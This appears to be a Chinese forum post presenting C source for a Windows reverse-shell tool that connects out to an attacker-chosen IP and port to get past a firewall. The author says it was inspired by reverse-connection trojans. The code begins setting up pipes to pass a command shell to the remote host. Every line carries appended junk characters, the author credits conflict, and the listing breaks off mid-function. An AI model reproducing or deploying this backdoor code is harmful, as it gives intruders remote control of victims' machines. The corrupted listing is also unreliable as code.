这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== arj$dAW
Rebound port in Windows NT y/R+$h(%
By wind,2006/7 0.DQO;
===============================*/ K]"Kf{bx
#include Tf-CEHWD
#include uec|S\~M
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#pragma comment(lib,"wsock32.lib") \ 4gXY$`@
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void OutputShell(); zj20;5o>U&
SOCKET sClient; xo~g78jm7,
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +,_c/(P
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void main(int argc,char **argv) V0NVGRQ
{ Lt>7hBe"
WSADATA stWsaData; fNoR\5}!
int nRet; fIyPFqf7w)
SOCKADDR_IN stSaiClient,stSaiServer; ~@fR[sg<
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if(argc != 3) `K?1L{p'4
{ GZ3/S|SMP
printf("Useage:\n\rRebound DestIP DestPort\n"); CW0UMPE5
return; :s*>W$Wp4
} _4R,Ej}
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WSAStartup(MAKEWORD(2,2),&stWsaData); j>!sN`dBj
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "DjU:*'
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stSaiClient.sin_family = AF_INET; v*r9j8
stSaiClient.sin_port = htons(0); grbTcLSF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "$8w.C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;BI)n]L
{ YzV(nEW
printf("Bind Socket Failed!\n"); K0<yvew
return; kp`0erJqw
} 3*WS"bt
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stSaiServer.sin_family = AF_INET; O5;-Om
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o!Fl]3F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H#+xKYrp
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ou6j*eSN
{ [g|Hj)(
printf("Connect Error!"); :6u~aT/
return; PU+1=%'V
} %F5 =n"
OutputShell(); ,so4Lb(vG
} !}q."%%J_%
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void OutputShell() 7bT
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{ J@`
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char szBuff[1024]; DHzkRCM
SECURITY_ATTRIBUTES stSecurityAttributes; Zh,]J `
OSVERSIONINFO stOsversionInfo; p&5S|![\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JZ K7uB,X
STARTUPINFO stStartupInfo; xG%*PNM0q
char *szShell; F+*Q <a4
PROCESS_INFORMATION stProcessInformation; %6 ]\^
unsigned long lBytesRead; 4oJ$dN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Nza; O[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JS7dsO0;
stSecurityAttributes.lpSecurityDescriptor = 0; (C\r&N